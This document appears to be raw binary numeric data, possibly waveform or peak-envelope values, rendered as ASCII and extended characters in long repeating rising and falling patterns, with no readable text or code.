$"&&'()*--./31537587;9><@>CAFCGEIHJINKPNSQUSXUYV\Y_[b^e`gcjekgmipkrnupwryt|vxz|·ŹƼɽʿʾɼǺŸöµ~}|{xwv}szrypxovmultjrhofndlcjbi`g^e\c[cYaW`V_U\UYRWPUOUNSLQJNHLGLEJDHAE?F>C<A:@9?8>6<5:38170704.4-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.1.1/1.2-3-3-4,4,4,4,4,4,4,4-3-2.2.1014071<0@0D0H0K/M/P/T.W/Y/[.\.^._._.`/`/`/a0a.b,b,c-c-c-c.d.d.d.d.d.d.d.d.e-e-e-e-e.e.f.f.f.f.f.f.f.f-f-f-f-g.g.g.g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g-g.g.g.g.g.g.g.g-g-f-f-f-f-f-f/f/e/e.e.d.d.d.d.d.d.d.d.d.d,d,d,c-c-c.c.c.c.c-b-a-a-a-a,a-a,`._-_-_._-_-_-^-].]/]/]/]/].\.[/[/[/Z.Z.Z/Z/Y/Y/Y/X.W.W.W-W-V-V.V.V/U/U/U.T/T0T/R/R/R.Q/Q/Q/O/O/N.N.N.N/N.M/L/L.K/K0J0J0J1I1H1H1H0G/F/F/F/F.E/D0D0C1C1B1B0A1A1@1>1>2=2<2;3;39272523311.1-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3+3+3+3+3+2+2+3,3,3-3,3-3-4.7/8192:3:4=7?8@9B;C<E=E?G@JAKBNDOFPGQITKULWOYQ[R\T]V`WbYc[e\f^g_h`lbmdofqgrisjulxnzp|q}r~tvxy{}~¶÷źǻȾ̿˾ȼƺĹ}{z}w{uysvptmskrjogkegcdab_a\]Z[XXVVTTQROQLNJMHIFDDBBA@?=<;:97644210/.-,+*(&&#$"    ! ##$%'')*,,/.10316497;9=<?>A@CBEDGFKINKOMROSQVSYU[X_[b]e`fbidkfmhokrmtnvpyr{twz|~øźǼɾʿɽȼƺŸ¶}|zxwu}t{rzpzoxmtktirhpfnemckah_g^f\e[dZbZ`X]V[T[RYQVOSMRLQJOINGKEKDIBG?F>E=C;B:?8=6<4;392807/6/4.3/3-3-3-3-3-3-4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.1.1/1/2.2.2.3-3-3-3-3-3-3-3-3-2.2.2.10/205/9/=0A/D0F/I/M.P/S/U.V.W/Y.Z.[.[.[/[/\/\-\-]-]-].^.^.^.^.^.^.^.^.^._,_,_,_-`-`-`.a.a.a.a.a.a.a.a.a.a.a.a.a.a/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b/b.b.b.b.b.b.b.a.a.a.a.a.a.a/`/`/_/_/_._._._._._._._._._,_,^,^-^.^.^.^-]-]-].[.[.[-[,[-Z-Z-Z,Y,Y-Y-Y,Y-Y.X.X.X.X.X.X.W/V.V.V.U-U-U.T/T/T/T.R.R.R-Q-Q-Q-P.O.P.P.P.O-N.N/N/M.M.M.L/L/K/J.J.I.I-I-I.H/H/G.G.G/F/E/E/E1D0C0C0C0C0B/B/B.A.@/?/?/>0>0>0=/<1<2;2928182716252412202/2-1,1+2,3-3-3-3-3-3-2-2-2.2.2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3+3+3+3+3,2,2,2-3.4.5/5081:3<5=7?8A9B;D=F>H@IAJCKDMEOGQHTJTKULWNYPZR]T_V`WaYbZd\g^i`kakbmdneqgsitjvlwnyo{q}s~tvxy{}~÷ƹƺȼʾʿȼǺŹ÷|zx~w{tyrupsmrkoimgkeibf`a^^[\Y[WWUURSPQNNKLIJGHEFCB@?>=<;:99764411//,,**(('&%$!!    "#%%('*)-+.,1/416487:9=<?=@?CAECHFKHLJNLQNTQWTZV]Y_[a\d_f`hcjfmhniqktmuoyrzu}wy{|øŹƺȼ˿ʾȼƺĸö~|{yxv~u}t{qyoxnwluksirhpfndlblai`h_f^e\bZ`X`V^V\SYQWPUOTMSKPJOHNFKDKBIAH@G?E=B;B:A9>7=5<5:3625140403/3.2-3.3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.0//1/3/6/:/=0?0B1G/J0M0O/P/R0S/U/U/U/U/V0V/V.W.W/X/X/X0Y/X/X/X/X/X/X/X/X/Y/Y/Y/Y/Y/Y0Z0Z0Z0Z0Z0Z0Z/[/[/[/[/[/[/[/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/[/[/[/[/[/[/[/[0Z1Z1Z0Z0Y0Y0Y0Y0Y0Y0Y0Y0Y/Y-Y.Y.X/X/X/X/X.W/W/V0V/V/V/V.U.U.U.T-T-T.T.U/T/S/R/R/R/R/R/Q/Q0Q/P/O/O/O0O0O1O1O1O0M0M/L/L/L/L/K/J0J0K0K/J.I/I0I0I0H/G/G1F1F1E0E0E0D/C0C0C0C0B0B0B0A1@0?0?2>1>1=1=2<1=1=0</;/:0909080817060626261413131212102/2/3.3-4,4,4+3+4,3,3,3-3-3-3-3-2-2-2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,4,4,4,4-4-4.4.5/617294:5<7@9A:B;C=F>G@HAKBLDMFNGPHRJSLVMXNYPYR\S^U_WbYc[d\d]g_i`lcmdofogrhsjukxmyo{r{s}suwyz|}¶÷Ĺǻʽ˾˾ʽȼƺĸķ~{zw|u{sxrvpsmoknhlfjdhbe`c]`[\XZVWTVRTPQMNKLIJGGDEBC@A>><;:986544320/-,**('%%$#"     ! $"%$(&*(,*0-1/326486;9<:><A?CAFCHEJHMJPLSOVQYS[V\X_Zb\c^eahcidkfniokrnuqxrzt{v}yz|¶ĸǹɻ˼˾ɾȼǻŸ~|{yyv}t|r{qzowmultjripgofnelcjai_g^e\c[bYaW^V\TZSXQVOUNSMQKPINGMFMEKDJBH@F?E>C=@;?:>8;694736251403/3.3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.1.0/010407192<1@0D1F0H0J0L1N/O/O/O0O0P0P0Q/R0R0R0S0S1S0S0R0R0R0R0R0R0S1S1S1S1S1S1S2T2U2U2U2U2U2U1U0U0U0U0U0U0U0U0U0V0V0V0V0V0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0W0V0V0V0V0V0V0V0V2U2T2T2T1T1T1T1S1S1S1S1S1S0S.T/T0S0S0S0R0R/Q0Q0P0P0P0P0P0P0O0O/N/N/N/N/O1M1M1M1M0M0L0L1L1K1K1K0J0J1J2J2J2J2J2J1H1G1G0G0G0F0F1E2E2E2E1D0C1C1C1C1C1B0A2A2A2@2@2@1>1>2>2>2=1=1<1<1<2;2:1:282828272617171606051413020221111131302020202/2/2.2.3.3-3-5,5,5,5,5,4,3,3-3-3-3-3-3-2-2-2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4+4+5,5-6.6/6/8293:6<8=9?:B<E>F?GAIAJBKDLENGPIQJSLTMVNXPZR[T]U]W`XbZd\e]g_gahbkdmepgrisktkvlwnyp|q}t~vwxz{}·ŸƺƼɽ˿˿ɼǻƹķõ~{y}wzuyswquosmpkmhkghdfad_c]`[]YZVXSUQSORMOLLIIFGDDAB?A=?;<9:77553210..-+*('&%$"!      !# $"&$*',*/,2/40637597=9?;@=C@FAHDKFNIPKTNUPXQZT[W\X_[b]d_eahdjfliolqmtouqvr{v|y~{}µķƸȻȽɾɿȽƻŹø~|yww~u|r{qypwnvltkriqhofncmak`i_f^e\bZ`Y^W]U\TYRXQWPVOUMRLQKPJNGLEKDICHBF@E?C=@;<9;8:684737361505/4.3-3-2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5,6,5,5,5,5,5,5,4-3-3-4-5,4-3-5,5,5,5,5-3,3-4.2011131609/=1@0A1D1F2H0I0J/J/J/J0K0L/L.L.L.M/M/M/M.L.L.L.L.L.L/M/N/N/N/N0O0O0O0O0O0O0O0O0O0O0O0O0P1P1Q1Q2R2R2R2R2R2R2R1R1R1R1R1R1R1R1R1R1R1R1R1R1R1R1R1R1R1R1R1R1R1R1R1R1R1R1R1Q1Q1Q1Q1Q1Q0Q0P0P0P0P0P0P0O0O0O0O0O0O/N/N/N/N/N/N/N/N/N/N/M/M/M/M/M0L0L/K/J/J/J/J/J/J/J.I.I.I/I0H0H0H0H/G/G0G1G1F1F0E0E0E1E1D1D1D1D1D1D1B0A0A1A0A0@0@0?0?0?1?1>1>1>0=1=2=2=1<1;1;1;2;2:29292929181807161616252424233232222101011121211/2-2-2-3-3-3-3,3-2-3-3-3-3-3-5-5-5-5,5,7,6,5,5,5,5,5,5,5,4,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-6-8.9/90:2<3<4>7?9@;A=D?E@F@HAJCLDMFNHPIRJTLUNWPYPZQ[S^U_WaYbZc[e]f_haicldmfnhoiqktmwnxpzq{q}t~uwy{|}÷ĹƺǼʾʿȾƺĸ÷µ~{~y{wyuxsvptmqlojlgkficf`b^_\\ZZWYVVRTQRNQLOJLHJEHCEAC?@<>:;7957451200-.++))''$$""        " %"'%)',*.+0.305285:7;9=;?<B?DAHDJGNIPKRMTOURWTYV\X]Z`\b^dahcjflinjolqntqwtyu{w}y{}õķĹǺȼʾ˿ɽǼʏ}|{ywv~t|rzpyoxnwmukriqgpeodlcjag_f]d\cZbY_X^V]UZSZQWPWPVNTLQJOINHMFLEKDJBF@C>A=@;?:=8=7;49493614.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,6,5,5,5,5,5,5,3-3-3-3-5,4-3-4,4+4,5,5-5-5-4.3-1.2.2004070:1<2>1@3B2D1E1E1E0G0G0G/F0G0G0G0G1H1H0G0G0G0G0G0G1H1I1I1I2J2J2J1J1I1I1I1I1I1I2J0J2J1K2K2L2M3L1L2L2L2L2L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L1L2L1L2L2L2L1K/J1J0J0I0I1I2J2J2J1J1I1I1I1I1I1I1I1I1I1I0H1H1G1G1G1G1G2G2G2F2F1E1E1E1E1E1E0D0D0D1C2C2C1B1B1B1B2B2B2A2A2A1@1@2?2?2>2>2>2>2>1<2<2<2<2;2;2;2:2:1929283939273738372625262635343434242312121231202020204/4/3/3/3/2.1.2.2.2.2-2-2+2+2+3+4+4+4+2,2,3-3-3-3-3-5-5-5-5,5,5,5,5,5,5,5,5,5,5,5,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3-3-3-3-3-4-4.6.7.;1<3=4>6@7C9C:C;E=F?G@ICJDKDLEOFPIQJSLVNWOYQ\S\T^V`VaXcZe\f^g_g`jbmdmengrisjskunwozq|s~tuvxz|}·ĸƻȽ˿˿Ⱦǽƻĸ¶}{}xzvwtuqtornqlnikgiegce`d^`\\YYWWTVSTQRNPLMHKFIDHBDAB>?<<9:68462412.0-,+*)('&$#"!         " $"&$)&+(.+0-2/426487:8<;==@?BAGEHFKHMJNLQOTQVSXUZW]Y^[c^d`fciekglinkpmsouqwsyu|xz|~µ÷ŹƺǽʾʿǽƼĻù~|zxwu~s}r|qzpwmvltjshqgoemdlbj`h_g^e\c[bZ`X`W^V\T\SYPWOVMTKQJPHPGNEMDJCHBG@E?C=B;A:?9?8=6;4:3926.6.6.5-5-3-3-3,2,2,2,2,2,2,3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-3-3-3-3-3-5,5,5,5,5,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1/020416282:2<1=0>0?0@/A.B/C1B1B1B1B1B1B2B2B2B2B2B2B2C1C0D0D0D0D0D0D1D1D1D1D1D1D1E1E0F1F0F0F0F0F1F1F1F1F1F1F1F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F1F0F1F0F0F1F1F1F0F0E0E1E1E1D1D1D1D1D1D0D0D0D0C0C0C1C2B3B3B3B3B3B3B3B3B3B2A2A2A1?1>1>1>1>1>1>0>0=0=0=0=0=1=3=4<3<3<3;2;2;2;2;2:1:1:19183847473636363625252525252534324142414141302/2/2/2/2/2/2.2.2.2.2.2.2.2.2.3-3-3-3-3-3-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5-5,5,5,5,3-3-3-3-3-3-3-3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-1+1+2,2,3,3-3-5,5.6/8192<3=5?7A8C9C:D;G=H?JAKBLDNEOFQHRJTKULVNWPYQ\S]U_VaXbZc[e\f^i_jalbmdnepgrisitlwmxnypzq|s~uwxy{|~ĹŹƺǼɾʿȽȼƺĸ¶}{}y{wyuxstprnplnilhifgcdab_a]^\\YXWWTURRORNOMMIJFFBE@B?@=<;;9977543200-.++)((&&#$!"     !#!&$(&,(-+/.0021637698<:==@?CBECGEIGMKPMSOTQVRYU[W^Y`[b^d`fahdjflhnjqmrnspwsyu}xz|~öŹŸƺɽɿǾƻĸ·}{yxwu~s{qzpyowmvlsjsipgnemdlcjah`f^e\c[bZaX`V]T[S[QXPWOVMULSKQHOGMFLEKDIBG@F>D>C<A;?9>7=7;3:3:281705/4.2,2-2-2,2,2,2,2,3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-3-3-3-3-3-4,4,5,5,5,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2/2012243526290:0:0;/</=/>1=2=2=2=2=2=2=2=2=2=2=2=1=1>1?1?1?1?1?1?1?1?1?1?1?1?0?1@0A0A0A0A0A0A0B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B0A0A0A0A0A0A0A0@0@0@/@/@/@/@0?1?1?1?1?1?1?1?1?0?0?0>0>1>3=4=4=4=4=4=4=4=4=4=4=3<3<2;2:2:2:2:2:2:19181818181818273737373636362626252515141433333333222211111111111111203.3.3.3.3.3.3.3.3.3.3.3.3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3-4-4-4,4,4-3-3-3-3-3-3-3-3,3-3-3-3-3-3-3-4.4.4.3-3-3-3-2,2,3-4-5.6/6/91:3;4=5?7@8A:E;F=G>H?IAKBLCNEOGQISJTKVMWOYP[Q\S]T^VaWbYc[e\g^h_iakbndofqgrhsjukwmxnzp|r}s~tvxy{}~¶ĸƺȼʽ˾˿ȽƻŹ÷}|z|x{vytvqtormokmhkgjehceab^`\]Z\XYVWTTQSOQMNKLIKHHDEBA>?<=:;987754320/.-+*)(&&$$#!!    !# &"(%*(+*.,0.20537597;:=<@>B@DBHFKHNJQKRMTPVRXS[V]X_Za\b^eahbjelgminkrmtpwryt|v~x{|~ķƹȻɽʾ̾ʿȽǻƹĸ¶~}|zyw~u}s|ryqxownumskripgnflekciag`f_e]d\bZaX^W]U\T[RZQWOVNSMRKPJOINGLEJCIBGAF@D>C<B<@9@8>7<5:482715/4/4.3.2.3-3-3-3-3-3-3-4.3-3-3-3-3-3-3-2.2.2.2.2.2.3-3-3-3-4-5,5,5,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2-2.2/3/30211414050606/70818181818181818292929292929292:1;1;1;1;1;1;1;1;1;1;1;1;2;0<0=0=0=0=0=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=0<0<0<0<0<0<0</;/;/;/;/;/;/;1;1;1;1;1;1;1;1;1;1;1:0:0:29384848484848373737373726262625252525252514030303030303233242323131312121212120101010101010100/0/0/0/0/0/0/0/1.2-2-2-2-2-2-2-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3-3-3-3-3-3-3-3-3-3.3-4.5/709293:4>6?8@9B:D<E<F?I@JBKCLDMEOGPIRKTLVNWOXP[S\T]U_WaXbZc[e]f_h`kbldldmeogqiskulvmwnyp{r}s~uxxz{}~·øŹǻɽʾ̿̿ʼȻƺĸ¶~|{x}vztwrvptnqloimhjfhcgae_b]_\]YZVYTVSTQRNOLNKLHIEGCDBC??<<9:78574421/0-.++)(&&$$!"   !# %#'%)',)-+0.2/527598;9=;@=D@GCIDLFMHOKRMRNVQXSZU\W]Ya\c^e`hbidjfmhokqmtovqyszu|w}y~{}õķƺȺ˽;̿ʾɽȼźĸ÷~{zyw~v}u|szqwovmvlslqjphnflekcjchag_e]c[aY`X`X^V\TYSWQVPUNTNRLPJOHMGLFKDHBHAF@E>D=C<B:?8>7=6;5948271505.4.3-3-3-3-3-3-3-3-3,3,3,3,3,2-2.2.2.2.2.2.3-3-3-3-4-4-4-3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3